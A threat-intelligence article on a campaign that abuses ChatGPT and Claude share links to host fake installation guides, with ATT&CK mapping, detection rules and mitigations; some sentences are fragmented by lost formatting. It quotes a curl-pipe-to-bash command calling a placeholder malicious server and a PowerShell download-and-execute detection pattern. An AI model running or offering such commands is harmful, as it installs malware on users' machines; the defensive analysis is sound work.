Cybercriminals are weaponizing the legitimate features of popular Large Language Model (LLM) chatbots, including OpenAI's ChatGPT and Anthropic's Claude, to serve as a delivery mechanism for malware. Research from Push Security reveals that threat actors are abusing content-sharing functionalities to host malicious content on the AI platforms' own trusted domains. Attackers create and share conversation links that lead to pages containing social engineering lures. These lures, often disguised as installation guides, persuade users to copy and paste malicious command-line instructions (e.g., curl commands) into their terminals, leading to the download and execution of malware, suspected to be infostealers. This technique capitalizes on the trust users place in these AI brands and their domains.
The attack is a form of social engineering that leverages the infrastructure of the AI providers themselves.
chat.openai.com or claude.ai. This makes the link appear safe to users and may bypass simple domain-based blocklists.curl command to 'install' a tool.The attack chain is simple but effective:
T1566.002): This malicious URL is distributed to potential victims via phishing emails, social media, or forums.T1204.002): The victim clicks the link and is taken to the trusted AI domain, where they see the attacker's lure.T1059.004): Trusting the source, the victim copies the provided command (e.g., curl -sL http://malicious.server/install.sh | bash) and runs it in their terminal.This technique is a variation of Drive-by Compromise (T1189), where the user is an active participant in their own compromise, tricked by the trusted context.
While technically simple, this attack vector poses a significant threat due to its psychological effectiveness.
https://chat.openai.com is likely to be trusted.curl | bash style installers, which are common in the developer community.No specific malware hashes or C2 domains were provided in the source articles.
Detection should focus on the delivery and execution stages:
orpowershell -c "IEX (New-Object Net.WebClient).DownloadString('*')"`chat.openai.com/share/ or claude.ai/chat/curl.exe, powershell.exe, bash.execurl | bash.bash, sh) spawning a network connection to download a file and then executing it. This is a high-confidence indicator of malicious activity.M1017): This is primarily a social engineering attack, so user education is the most critical defense. Train all users, especially technical ones, on the dangers of blindly copying and pasting commands from the internet, regardless of the source. Teach them to inspect scripts before executing them.M1038): Use application control and script execution policies to limit the ability of users to run arbitrary scripts downloaded from the internet.The primary defense is to train users never to copy and execute commands from the internet without understanding what they do, regardless of the source.
Enable PowerShell Constrained Language Mode and other script execution restrictions to limit the damage of maliciously executed commands.
While user training is key, technical controls can help. Since this attack relies on social engineering, a primary defense is to educate users on the dangers of executing commands from any website, even trusted ones. Specifically, train developers and technical staff that curl | bash is an anti-pattern for secure installation and that any script should be downloaded, inspected, and then executed. This breaks the attack chain by preventing the user from completing the malicious action.
Implement robust endpoint detection and response (EDR) rules that focus on suspicious process chains. A high-fidelity rule for this attack would be: Alert when a shell process (bash, sh, zsh) is spawned with a parent process of a web browser, and that shell process then makes a network connection. An even stronger rule would detect the curl | bash pattern directly from command-line logs. This focuses on the malicious behavior (executing remote, un-vetted code) rather than the specific payload, making it a more durable detection.

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
Help others stay informed about cybersecurity threats
Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.
Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.
Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.
Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.
Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.